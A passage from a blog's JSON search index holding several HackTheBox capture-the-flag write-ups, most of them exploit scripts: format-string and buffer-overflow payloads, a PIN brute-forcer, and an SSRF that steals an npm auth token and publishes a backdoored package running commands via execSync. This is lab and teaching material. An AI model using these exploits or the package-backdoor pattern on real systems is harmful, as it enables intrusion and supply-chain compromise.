\u0026#34;C\u0026#34;, \u0026#34;9b9233be563be442bf2edf0e3e42848d\u0026#34;: \u0026#34;Y\u0026#34;, \u0026#34;a952cfc1d886d6084113d5f3e13508f0\u0026#34;: \u0026#34; \u0026#34;, \u0026#34;00273fa04b9b836c553d876502e9a1e2\u0026#34;: \u0026#34;A\u0026#34;, \u0026#34;d3eae0ab73225a3d841241af5d8a0654\u0026#34;: \u0026#34;L\u0026#34;, \u0026#34;4ca1a8b8e8ca22b70d69ca257d79e5ed\u0026#34;: \u0026#34;S\u0026#34;, \u0026#34;98c50ceddda78b850757dc37c1c0814d\u0026#34;: \u0026#34;I\u0026#34;, \u0026#34;cb20a26ba8411b2e0072e7438ed67e54\u0026#34;: \u0026#34;B\u0026#34;, \u0026#34;4065e6b94c150f4137af46b752e25204\u0026#34;: \u0026#34;D\u0026#34;, \u0026#34;495c118c128a67d8a0f022e3f001775e\u0026#34;: \u0026#34;O\u0026#34;, \u0026#34;d395fedae9dca912da1b1b50b0aca161\u0026#34;: \u0026#34;T\u0026#34;, \u0026#34;c98f7e77e918e98833b8fa19de4b1653\u0026#34;: \u0026#34;H\u0026#34;, \u0026#34;e3372f2164f66ea750b5b14f8166b0b9\u0026#34;: \u0026#34;G\u0026#34;, \u0026#34;473a4eb8c699b9141c7d0bb4fa691674\u0026#34;: \u0026#34;V\u0026#34;, \u0026#34;b1119ba67f26c30144e9cea6a6d7059c\u0026#34;: \u0026#34;W\u0026#34;, \u0026#34;a33f02cf75488a76efb91511a0111982\u0026#34;: \u0026#34;M\u0026#34;, \u0026#34;48654fae441fee7cd607d8cb90c1de44\u0026#34;: \u0026#34;P\u0026#34;, \u0026#34;3321154f7ace2161b8cafb37c6307e6b\u0026#34;: \u0026#34;K\u0026#34;, \u0026#34;4fdd58bb71f5f8c882eaa592d51cf647\u0026#34;: \u0026#34;X\u0026#34;, \u0026#34;ddfdaa01baab48baf54067dd3a3de527\u0026#34;: \u0026#34;Z\u0026#34;, \u0026#34;8115f6662bacddd86db1ae8dc533c46c\u0026#34;: \u0026#34;J\u0026#34;, \u0026#34;d4dde50295a8c036709603b3c216e44d\u0026#34;: \u0026#34;{\u0026#34;, \u0026#34;97038e93767664edf41312c98285ba94\u0026#34;: \u0026#34;_\u0026#34;, \u0026#34;25581e56ea570e8f68c9dab82f24f36e\u0026#34;: \u0026#34;}\u0026#34; } with open(ciphertext_file) as f: blocks = [line.strip() for line in f if line.strip()] plaintext = \u0026#34;\u0026#34; for block in blocks: if block in mappings: plaintext += mappings[block] else: plaintext += \u0026#34;?\u0026#34; return plaintext try: plaintext = get_plaintext(\u0026#34;output.txt\u0026#34;) print(\u0026#34;Plaintext message:\u0026#34;) print(\u0026#34;-\u0026#34; * 50) print(plaintext) flag_start = plaintext.find(\u0026#34;HTB{\u0026#34;) flag_end = plaintext.find(\u0026#34;}\u0026#34;) + 1 if flag_start != -1 and flag_end != -1: flag = plaintext[flag_start:flag_end] print(\u0026#34;\\nFlag found:\u0026#34;, flag) except FileNotFoundError: print(\u0026#34;Error: output.txt file not found\u0026#34;) except Exception as e: print(f\u0026#34;Error occurred: {e}\u0026#34;) Summary Perfect Synchronization: recover the Vigenere key from the ciphertext, decrypt the message, and verify the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Perfect-Synchronization-Challenge/","protected":null,"snippet":"Perfect Synchronization: recover the Vigenere key from the ciphertext, decrypt the message, and verify the flag.","tags":["htb","crypto","aes","ecc","vigenere"],"title":"HackTheBox Perfect Synchronization Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/594\nDescription Welcome to \u0026ldquo;Pixel Audio\u0026rdquo; – your ultimate destination for musical bliss! Embark on a journey of sonic delight as you immerse yourself in the tunes that resonate with your soul. Take a break from the hustle and bustle of life and unwind in our vibrant virtual realm. Whether you\u0026rsquo;re seeking energetic beats to uplift your spirits or soothing melodies to calm your mind, \u0026ldquo;Pixel Audio\u0026rdquo; has you covered. Step into our world, where every note is a pixel of joy, and every rhythm paints a picture of serenity. Join us at \u0026ldquo;Pixel Audio\u0026rdquo; and let the music carry you away on a euphoric adventure!\nExploitation #!/usr/bin/python3 import requests,time,sys,os def get_base_url(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;http://{host}:{port}\u0026#34; def upload_file(url, file_path): \u0026#34;\u0026#34;\u0026#34; Uploads a file to the server. \u0026#34;\u0026#34;\u0026#34; with open(file_path, \u0026#39;rb\u0026#39;) as file: files = {\u0026#39;file\u0026#39;: (\u0026#39;test.mp3\u0026#39;, file, \u0026#39;audio/mp3\u0026#39;)} response = requests.post(url, files=files) return response.status_code def check_for_flag(url): \u0026#34;\u0026#34;\u0026#34; Requests the /play endpoint to retrieve and display the flag. \u0026#34;\u0026#34;\u0026#34; while True: response = requests.get(url) if \u0026#39;HTB\u0026#39; in response.text: print(\u0026#34;Flag found:\u0026#34;, response.text.strip()) break else: print(\u0026#34;No flag yet, retrying...\u0026#34;) time.sleep(1) def main(): base_url = get_base_url() payload = \u0026#39;ID3%48879c%12$n%495c%13$n\u0026#39; file_path = \u0026#39;/tmp/test.mp3\u0026#39; with open(file_path, \u0026#39;wb\u0026#39;) as f: f.write(payload.encode(\u0026#39;utf-8\u0026#39;)) print(\u0026#34;Payload written to\u0026#34;, file_path) upload_url = f\u0026#39;{base_url}/upload\u0026#39; play_url = f\u0026#39;{base_url}/play\u0026#39; print(\u0026#34;Uploading payload...\u0026#34;) if upload_file(upload_url, file_path) == 200: print(\u0026#34;Payload uploaded successfully.\u0026#34;) check_for_flag(play_url) else: print(\u0026#34;Failed to upload payload.\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Pixel Audio: build the exploit primitive, stabilize the payload, and use it to read the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Pixel-Audio-Challenge/","protected":null,"snippet":"Pixel Audio: build the exploit primitive, stabilize the payload, and use it to read the flag.","tags":["htb","pwn","linux"],"title":"HackTheBox Pixel Audio Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/433\nDescription After adding the curried eel, your potion is almost complete, your cauldron boiling over. All you need to do now is incant the final spell to finish your masterwork!\nExploitation #!/usr/bin/python3 from z3 import * from functools import reduce import operator a = [-43, 61, 58, 5, -4, -11, 64, -40, -43, 61, 62, -51, 46, 15, -49, -44, 47, 4, 6, -7, 47, 7, -59, 52, 17, 11, -56, 61, -74, 52, 63, -21, 53, -17, 66, -10, -58, 0] b = [6, 106, 10, 0, 119, 52, 51, 101, 0, 0, 15, 48, 116, 22, 10, 58, 93, 59, 106, 43, 30, 47, 93, 62, 97, 63] c = [304, 357, 303, 320, 304, 307, 349, 305, 257, 337, 340, 309, 396, 333, 320, 380, 362, 368, 286] d = [52, 52, 95, 95, 110, 49, 51, 51, 95, 110, 110, 53, 116, 51, 98, 63] s = Solver() flag = [BitVec(f\u0026#34;flag_{i}\u0026#34;, 8) for i in range(76)] for i in range(len(flag)): s.add(flag[i] \u0026gt; 0x20) s.add(flag[i] \u0026lt; 0x7f) for i in range(0, 76, 2): s.add(flag[i] - flag[i+1] == a[i//2]) for i in range(0, 76, 3): s.add(reduce(operator.xor, flag[i:i+3], 0) == b[i//3]) for i in range(0, 76, 4): s.add(sum(flag[i:i+4]) == c[i//4]) for i in range(0, 76, 5): s.add(flag[i] == d[i//5]) assert s.check() == sat m = s.model() print(\u0026#39;HTB{\u0026#39; + bytes([int(repr(m[f])) for f in flag]).decode() + \u0026#39;}\u0026#39;) Summary Potion Master: recover the XOR transform from the binary and invert it to reveal the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Potion-Master-Challenge/","protected":null,"snippet":"Potion Master: recover the XOR transform from the binary and invert it to reveal the flag.","tags":["htb","rev","xor","linux"],"title":"HackTheBox Potion Master Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/715\nDescription One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison\u0026rsquo;s record management system. Your mission: exploit this system to infiltrate the prison\u0026rsquo;s network and disable the defenses for the rescuers. Can you orchestrate the perfect escape and rescue your comrade before it\u0026rsquo;s too late?\nExploitation my challenge ip and port 94.237.60.154:32828\nPrisoner Importer \u0026ldquo;Curl under the hood\u0026rdquo;\nfile:///home/node/.npmrc\nClick on Import Prisoner Record\n//localhost:4873/:_authToken=\u0026#34;MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ==\u0026#34; add in hosts 94.237.60.154 registry.prison-pipeline.htb\ncd challenge/prisoner-db nano .npmrc //registry.prison-pipeline.htb:32828/:_authToken=\u0026#34;MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ==\u0026#34; npm cache clean --force npm whoami --registry=http://registry.prison-pipeline.htb:32828 nano index.js async importPrisoner(url) { // implement backdoor const child_process = require(\u0026#39;child_process\u0026#39;); if (url.includes(\u0026#39;PWN:\u0026#39;)) { try { let cmd = url.replace(\u0026#39;PWN:\u0026#39;, \u0026#39;\u0026#39;); let output = child_process.execSync(cmd).toString(); return output; } catch (error) { return \u0026#39;PWN: Error executing command.\u0026#39;; } } ...SNIP... } nano package.json \u0026#34;version\u0026#34;: \u0026#34;1.0.1\u0026#34;, npm publish --registry=http://registry.prison-pipeline.htb:32828 sleep 5 curl -X POST \u0026#39;http://94.237.60.154:32828/api/prisoners/import\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; -d \u0026#39;{\u0026#34;url\u0026#34;: \u0026#34;PWN:/readflag\u0026#34;}\u0026#39; Summary Prision Pipeline: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Prision-Pipeline-Challenge/","protected":null,"snippet":"Prision Pipeline: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Prision Pipeline Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/670\nDescription KORP™, the heartless corporation orchestrating our battles in The Fray, has pushed us to our limits. Refusing to be a pawn in their twisted game, I\u0026rsquo;ve learned of a factionless rebel alliance plotting to dismantle KORP™. While it may sound like mere whispers, there\u0026rsquo;s a chance it holds truth. Rumors suggest they\u0026rsquo;ve concealed a vital communication system within The Fray, powered by cutting-edge quantum computing technology. Unfortunately, this system is reportedly malfunctioning. If I can restore this communication network, it could be the key to toppling KORP™ once and for all. However, my knowledge of quantum computing is limited. This is where you come in! As I infiltrate The Fray to access the system, I\u0026rsquo;ll rely on your expertise to identify and repair the issue. Are you up for the challenge? Together, we can make a difference in this battle against oppression.\nExploitation #!/usr/bin/python3 import socket,sys try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) port = int(port) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) instructions = \u0026#39;{\u0026#34;type\u0026#34;: \u0026#34;hadamard\u0026#34;, \u0026#34;register_indexes\u0026#34;: [1]};{\u0026#34;type\u0026#34;: \u0026#34;cnot\u0026#34;, \u0026#34;register_indexes\u0026#34;: [1, 2]};{\u0026#34;type\u0026#34;: \u0026#34;cnot\u0026#34;, \u0026#34;register_indexes\u0026#34;: [0, 1]};{\u0026#34;type\u0026#34;: \u0026#34;hadamard\u0026#34;, \u0026#34;register_indexes\u0026#34;: [0]}\u0026#39; with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) data = s.recv(4096) print(data.decode()) s.sendall(instructions.encode() + b\u0026#39;\\n\u0026#39;) while True: data = s.recv(4096) if not data: break print(data.decode()) This simulates a quantum computer on the server side of a non-quantum computer, which may take 1-3 minutes to complete.\nSummary Quantum Conundrum: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Quantum-Conundrum-Challenge/","protected":null,"snippet":"Quantum Conundrum: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Quantum Conundrum Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/694\nDescription In order to escape this alive, you must carefully observe and analyze your opponents. Learn every strategy and technique in their arsenal, and you stand a chance of outwitting them. Just do it fast, before they do the same to you\u0026hellip;\nExploitation #!/usr/bin/python3 from pwn import * import tempfile,base64 def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def get_loaded_value(elf_path): e = ELF(elf_path, checksec=False) lea_addr = e.entrypoint + 4 lea_off = u32(e.read(lea_addr + 3, 4), sign=\u0026#39;signed\u0026#39;) target = lea_addr + 7 + lea_off return e.read(target, 0x18) def do_round(r): r.recvuntil(b\u0026#34;ELF: \u0026#34;) elf_b64 = r.recvline().strip() elf_data = base64.b64decode(elf_b64) with tempfile.NamedTemporaryFile(delete=False, suffix=\u0026#39;.elf\u0026#39;) as tmp: tmp.write(elf_data) tmp.flush() loaded_value = get_loaded_value(tmp.name) r.sendlineafter(b\u0026#34;Bytes? \u0026#34;, loaded_value.hex().encode()) def main(): r = get_process() do_round(r) with log.progress(\u0026#34;Solving binaries\u0026#34;) as p: for i in range(1, 129): do_round(r) p.status(f\u0026#34;Solved {i} binaries\u0026#34;) r.interactive() if __name__ == \u0026#34;__main__\u0026#34;: main() Summary QuickScan: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-QuickScan-Challenge/","protected":null,"snippet":"QuickScan: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","elf","linux"],"title":"HackTheBox QuickScan Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/242\nDescription Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!\nExploitation #!/usr/bin/env python3 from pwn import * def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) try: context.log_level = \u0026#39;ERROR\u0026#39; payload = b\u0026#39;%p \u0026#39; * 25 p = get_process() p.sendlineafter(b\u0026#39;Name:\u0026#39;, b\u0026#39;a\u0026#39;) p.sendlineafter(b\u0026#39;Nickname:\u0026#39;, b\u0026#39;aa\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, payload) p.recv() response = p.recv().decode(\u0026#39;utf-8\u0026#39;) flag_hex_string = response.split(\u0026#39;\\n\u0026#39;)[2] print(f\u0026#39;Flag encoded in hex: {flag_hex_string}\u0026#39;) flag_hex_string_array = flag_hex_string.split(\u0026#39; \u0026#39;) flag = \u0026#39;\u0026#39; for piece in flag_hex_string_array: hex_value = piece.lstrip(\u0026#39;0x\u0026#39;) try: decoded_bytes = bytearray.fromhex(hex_value).decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;replace\u0026#39;) reversed_bytes = decoded_bytes[::-1] flag += reversed_bytes except ValueError: continue print(f\u0026#39;Decoded flag: {flag.strip()}\u0026#39;) except Exception as e: print(f\u0026#39;An error occurred: {e}\u0026#39;) Summary RaceCar: use the format-string bug for a leak or write, then redirect execution to the flag path.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-RaceCar-Challenge/","protected":null,"snippet":"RaceCar: use the format-string bug for a leak or write, then redirect execution to the flag path.","tags":["htb","pwn","format-string","linux"],"title":"HackTheBox RaceCar Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/800\nDescription I downloaded a very nice haloween global theme for my Plasma installation and a couple of widgets! It was supposed to keep the bad spirits away while I was improving my ricing skills\u0026hellip; Howerver, now strange things are happening and I can\u0026rsquo;t figure out why\u0026hellip;\nExploitation cat plasma/plasmoids/org.kde.netspeedWidget/contents/code/utils.js echo 952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d Summary Sp00ky Theme: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sp00ky-Theme-Challenge/","protected":null,"snippet":"Sp00ky Theme: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics"],"title":"HackTheBox Sp00ky Theme Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/468\nDescription We find ourselves locked in an escape room, with the clock ticking down and only one puzzle to solve. The final challenge involves opening the door, and the clue provided to us by the game master is that the key for the encrypted password is a 4-byte sequence.\nExploitation #!/usr/bin/python3 def decoder_4x16(signal): cases = dict() val = 1 for n in range(16): cases[n] = val val = val \u0026lt;\u0026lt; 1 if (signal \u0026lt; 0) or (signal \u0026gt; 15): return 0 else: return cases[signal] def encoder_4x16(signal): cases = dict() val = 1 for n in range(16): cases[val] = n val = val \u0026lt;\u0026lt; 1 return cases[signal] inputs = [] outputs = [35, 307, 17, 33, 33, 53, 183, 2103] key = [] for c in \u0026#34;HTB{\u0026#34;: inputs.append((ord(c) \u0026amp; 0xf0) \u0026gt;\u0026gt; 4) inputs.append(ord(c) \u0026amp; 0x0f) for i in range(len(inputs)): new_key = decoder_4x16(inputs[i]) ^ outputs[i] if new_key not in key: key.append(new_key) for k in key: print(f\u0026#34;0x{k:02X}\u0026#34;) key = [ 0x33, 0x31, 0x31, 0x37 ] lines = None outputs = [] flag = \u0026#34;\u0026#34; with open(\u0026#34;out.txt\u0026#34;) as f: lines = f.readlines() for line in lines: outputs.append([int(x) for x in line.strip().split(\u0026#34; \u0026#34;)]) for i in range( len(outputs) ): d1 = encoder_4x16( outputs[i][0] ^ (key[i % 4] )) d2 = encoder_4x16( outputs[i][1] ^ (key[i % 4] )) c = (d1 \u0026lt;\u0026lt; 4) | d2 flag += chr(c) print(flag) Summary VHDLock: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-11T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-VHDLock-Challenge/","protected":null,"snippet":"VHDLock: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox VHDLock Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/779\nDescription You\u0026rsquo;ve navigated past the main defenses, but there\u0026rsquo;s one more hurdle: an air-gapped security keypad guarding the lab. We already tried up until the 5000 passcode but we did not manage to open it. We need a faster way to go through all the 4-digit passcodes. Luckily, we\u0026rsquo;ve exposed some traces on the device\u0026rsquo;s keypad. Since it\u0026rsquo;s air-gapped, you\u0026rsquo;ll need to manually manipulate these pins to mimic the correct keypress sequence. Understanding circuit behavior and exploiting potential vulnerabilities in the hardware is key. Carefully manipulate the pins to unlock the door without triggering any alarms. This is your final step to securing the patch for distribution across the city. To aid in your mission, we have created a remote command and control interface for our custom module connected to the security keypad\u0026rsquo;s traces. The schematic we\u0026rsquo;ve drafted based on the device\u0026rsquo;s keypad configuration should be enough to get you started. (To enter a passcode send # it at the end)\nExploitation Connect with nc and Setup the gpio\n#cmd\u0026gt; comm-module-id #id\u0026gt; 35 #Module ID set to 35 #cmd\u0026gt; GPIO #set\u0026gt; 1 0 #GPIO-1 set to: 0 Disconnect and After\n#!/usr/bin/python3 import socket,time,sys if len(sys.argv) \u0026lt; 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port1,port2\u0026gt;\u0026#34;) sys.exit(1) host, ports_str = sys.argv[1].split(\u0026#39;:\u0026#39;) ports = [int(port) for port in ports_str.split(\u0026#39;,\u0026#39;)] key_presses = \u0026#39;5254#\u0026#39; current_key_to_send = 0 keymap = { \u0026#39;1\u0026#39;: [\u0026#39;E0\u0026#39;, \u0026#39;0E\u0026#39;], \u0026#39;2\u0026#39;: [\u0026#39;D0\u0026#39;, \u0026#39;0E\u0026#39;], \u0026#39;3\u0026#39;: [\u0026#39;B0\u0026#39;, \u0026#39;0E\u0026#39;], \u0026#39;A\u0026#39;: [\u0026#39;70\u0026#39;, \u0026#39;0E\u0026#39;], \u0026#39;4\u0026#39;: [\u0026#39;E0\u0026#39;, \u0026#39;0D\u0026#39;], \u0026#39;5\u0026#39;: [\u0026#39;D0\u0026#39;, \u0026#39;0D\u0026#39;], \u0026#39;6\u0026#39;: [\u0026#39;B0\u0026#39;, \u0026#39;0D\u0026#39;], \u0026#39;B\u0026#39;: [\u0026#39;70\u0026#39;, \u0026#39;0D\u0026#39;], \u0026#39;7\u0026#39;: [\u0026#39;E0\u0026#39;, \u0026#39;0B\u0026#39;], \u0026#39;8\u0026#39;: [\u0026#39;D0\u0026#39;, \u0026#39;0B\u0026#39;], \u0026#39;9\u0026#39;: [\u0026#39;B0\u0026#39;, \u0026#39;0B\u0026#39;], \u0026#39;C\u0026#39;: [\u0026#39;70\u0026#39;, \u0026#39;0B\u0026#39;], \u0026#39;*\u0026#39;: [\u0026#39;E0\u0026#39;, \u0026#39;07\u0026#39;], \u0026#39;0\u0026#39;: [\u0026#39;D0\u0026#39;, \u0026#39;07\u0026#39;], \u0026#39;#\u0026#39;: [\u0026#39;B0\u0026#39;, \u0026#39;07\u0026#39;], \u0026#39;D\u0026#39;: [\u0026#39;70\u0026#39;, \u0026#39;07\u0026#39;] } def interact_with_nc(sock_nc): sock_nc.sendall(b\u0026#34;system\\n\u0026#34;) time.sleep(0.5) response = sock_nc.recv(4096).decode(\u0026#39;utf-8\u0026#39;) print(\u0026#34;Received from NC server:\u0026#34;, response) return \u0026#39;HTB{\u0026#39; in response def simulate_keypad_read(command): global current_key_to_send if command == \u0026#39;F0\u0026#39;: key = key_presses[current_key_to_send] return keymap[key][0] + \u0026#39;\\n\u0026#39; elif command == \u0026#39;0F\u0026#39;: key = key_presses[current_key_to_send] current_key_to_send += 1 return keymap[key][1] + \u0026#39;\\n\u0026#39; else: return \u0026#39;FF\\n\u0026#39; def run_client(server_host, server_port): global key_presses, current_key_to_send sock_nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_nc.connect((host, ports[0])) print(\u0026#34;Connected to NC server.\u0026#34;) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.connect((server_host, server_port)) print(\u0026#34;Connected to server\u0026#34;) for pin in range(5000, 5254): key_presses = f\u0026#34;{pin:04d}#\u0026#34; print(key_presses) current_key_to_send = 0 while True: data = sock.recv(1024).decode(\u0026#39;utf-8\u0026#39;).strip() if not data: print(\u0026#34;Server closed the connection\u0026#34;) break print(f\u0026#34;Received from server: {data}\u0026#34;) response = simulate_keypad_read(data) if response: sock.sendall(response.encode(\u0026#39;utf-8\u0026#39;)) if len(key_presses) == current_key_to_send: break if data == \u0026#39;quit\u0026#39;: print(\u0026#34;Quit command received\u0026#34;) break interact_with_nc(sock_nc) if __name__ == \u0026#34;__main__\u0026#34;: run_client(host, ports[1]) Wait for the pin to be bruteforced and it will reveal the flag\nSummary The Last Frontier: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-10T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-Last-Frontier-Challenge/","protected":null,"snippet":"The Last Frontier: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox The Last Frontier Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/820\nDescription You may not control time, but you can certainly control the flow of your program! Use your stand to bend it to your will!\nExploitation #!/usr/bin/python3 from pwn import * fname = \u0026#39;./el_mundo\u0026#39; e = ELF(fname) read_flag_addr = 0x4016b7 offset = 56 payload = flat([ b\u0026#39;A\u0026#39; * offset, p64(read_flag_addr) ]) def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) r = get_process() try: r.sendlineafter(\u0026#39;\u0026gt; \u0026#39;, payload) for _ in range(3): try: output = r.recv(timeout=1) print(output.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;)) if b\u0026#34;HTB\u0026#34; in output: print(f\u0026#34;Flag found!\u0026#34;) break except EOFError: continue except Exception as e: print(f\u0026#34;Error occurred: {e}\u0026#34;) finally: r.close() Summary El Mundo: calculate the overflow offset, redirect control flow, and land a reliable flag read.\n","date":"2024-12-09T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-El-Mundo-Challenge/","protected":null,"snippet":"El Mundo: calculate the overflow offset, redirect control flow, and land a reliable flag read.","tags":["htb","pwn","bof","linux"],"title":"HackTheBox El Mundo Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/819\nDescription An ancient spirit, El Pipo, has taken control of this place. Face your fears and try to drive it away with your most vicious scream!\nExploitation #!/usr/bin/python3 from pwn import * import requests import json context.log_level = \u0026#39;debug\u0026#39; def get_process(host, port): try: return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) def exploit(p, host, port): try: offset = 47 payload = flat([ b\u0026#39;A\u0026#39; * offset, b\u0026#39;\\x00\u0026#39; ]) p.sendline(payload) flag = p.recvall().decode() log.success(f\u0026#39;Output: {flag}\u0026#39;) url = f\u0026#39;http://{host}:{port}/process\u0026#39; headers = { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, } data = {\u0026#39;userInput\u0026#39;: flag} response = requests.post(url, headers=headers, data=json.dumps(data)) log.info(f\u0026#39;Server response: {response.status_code} - {response.text}\u0026#39;) except EOFError as e: log.error(f\u0026#34;EOF Error: {e}\u0026#34;) except Exception as e: log.error(f\u0026#34;Error: {e}\u0026#34;) finally: p.close() if __name__ == \u0026#34;__main__\u0026#34;: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) p = get_process(host, port) exploit(p, host, port) Summary El Pipo: calculate the overflow offset, redirect control flow, and land a reliable flag read.\n","date":"2024-12-09T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-El-Pipo-Challenge/","protected":null,"snippet":"El Pipo: calculate the overflow offset, redirect control flow, and land a reliable flag read.","tags":["htb","pwn","bof","linux"],"title":"HackTheBox El Pipo Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/108\nDescription Crypto is fun ;)\nExploitation #!/usr/bin/python3 from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Cipher import AES from hashlib import sha256 N = pow(10410080216253956216713537817182443360779235033823514652866757961082890116671874771565125457104853470727423173827404139905383330210096904014560996952285911, 3) d = 129275315911223317359903751663807516352090026808195570114389567583720564611378335627134085402837298827247544997735787221623420069090831026403341043627337118073514316414863510575197151252044137503590414785481554107787977492191190932914467213110568469344259204522660239854742719334572977699979751357274672629248833545002097445009562614595500619383316585368090022534207869125569280525912198666917266810668438225654808711335777444218772562879952971915504193507508773 c = 0x13822f9028b100e2b345a1ad989d9cdedbacc3c706c9454ec7d63abb15b58bef8ba545bb0a3b883f91bf12ca12437eb42e26eff38d0bf4f31cf1ca21c080f11877a7bb5fa8ea97170c932226eab4812c821d082030100030d84ebc63fd8767cde994e0bd1a1f905c27fb0d7adb55e3a1f101d8b5b997ba6b1c09a5e1cc65a9206906ef5e01f13d7beeebdf389610fb54676f76ec0afc51a304403d44bb3c739fd8276f0895c3587a710d15e43fc67284070519e6e0810caf86b134f02ec54018 m = pow(c, d, N) key = long_to_bytes(m) print(\u0026#34;Decrypted key:\u0026#34;, key) with open(\u0026#34;flag.txt.aes\u0026#34;, mode=\u0026#39;rb\u0026#39;) as file: data = file.read() aes = AES.new(key, AES.MODE_ECB) plantext = aes.decrypt(data[:32]) print(\u0026#34;FLAG:\u0026#34;, plantext) Summary RsaCtfTool: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2024-12-09T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-RsaCtfTool-Challenge/","protected":null,"snippet":"RsaCtfTool: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","hash"],"title":"HackTheBox RsaCtfTool Challenge"},{"categories":["notes"],"contents":"Version Notes This sheet is updated against the current Hex-Rays docs and IDA 9.3 release notes. IDA shortcuts are customizable in Options -\u0026gt; Shortcuts..., so treat this as the default/current map and verify local changes 